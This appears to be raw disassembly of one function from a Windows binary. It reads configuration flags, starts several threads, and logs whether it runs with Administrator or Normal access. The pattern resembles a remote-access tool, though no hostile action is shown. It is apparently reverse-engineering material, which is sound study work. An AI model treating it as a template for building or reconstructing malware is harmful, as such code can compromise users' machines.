call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp + 0x10], eax
push 0x35
mov ecx, esi
mov byte [eax], 1
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
mov eax, dword [ebp + 0x10]
push ebx
push ebx
push eax
push 0x410b1b
setne cl
push ebx
push ebx
mov byte [eax + 1], cl
call edi
push 0x23
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0x4096be
push 0x26
mov ecx, esi
mov byte [0x41b22a], 1
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push 0x25
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
mov al, byte [eax]
push eax
lea eax, [ebp - 0x38]
push eax
call fcn.0041358b
add esp, 0xc
mov ecx, 0x41b1e8
push eax
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
push ebx
push ebx
push ebx
push 0x401519
push ebx
push ebx
call edi
push 0x2b
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], 1
jne 0x40970c
push 0x2d
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
pop ecx
push eax
push 0x2c
mov ecx, esi
call fcn.0040180c
mov ecx, eax
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::data_void_const]
cmp byte [eax], bl
setne al
push eax
call fcn.00407a0a
pop ecx
pop ecx
lea eax, [ebp - 0x38]
push eax
call fcn.00412163
pop ecx
push eax
mov ecx, 0x41bcf8
call dword [sym.imp.MSVCP60.dll_public:_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int______thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::operator_class_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int___const__]
lea ecx, [ebp - 0x38]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
mov eax, dword [0x41bcd0]
cmp eax, ebx
je 0x409737
push ebx
call eax
push ebx
push ebx
push ebx
push 0x409d3c
push ebx
push ebx
call edi
cmp byte [0x41bd84], bl
je 0x409757
push ebx
push ebx
push ebx
push fcn.0040a5f5
push ebx
push ebx
call edi
cmp byte [0x41bd68], bl
je 0x40976b
push ebx
push ebx
push ebx
push 0x40ab30
push ebx
push ebx
call edi
mov eax, dword [0x41b158]
sub eax, ebx
je 0x4097bd
dec eax
jne 0x409803
lea eax, [ebp + 0x13]
lea ecx, [ebp - 0x38]
push eax
push str.Administrator
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
mov ecx, esp
push eax
push str.Access_level:
push ecx
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
push ecx
lea eax, [ebp - 0x17]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.0041203b
add esp, 0x20
lea ecx, [ebp - 0x38]
jmp 0x4097fd
lea eax, [ebp - 0x16]
lea ecx, [ebp - 0x10]
push eax
push str.Normal
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
sub esp, 0x10
mov ecx, esp
push eax
push str.Access_level:
push ecx
call sub.MSVCP60.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__
push ecx
lea eax, [ebp - 0x15]
mov ecx, esp
push eax
push str._INFO_
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
call fcn.0041203b
add esp, 0x20
lea ecx, [ebp - 0x10]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
call fcn.0040c81c
lea ecx, [ebp - 0x48]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_unsigned_short_int__struct_std::char_traits_unsigned_short_int___class_std::allocator_unsigned_short_int__::destructor_void_]
lea ecx, [ebp - 0x58]
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret 0x10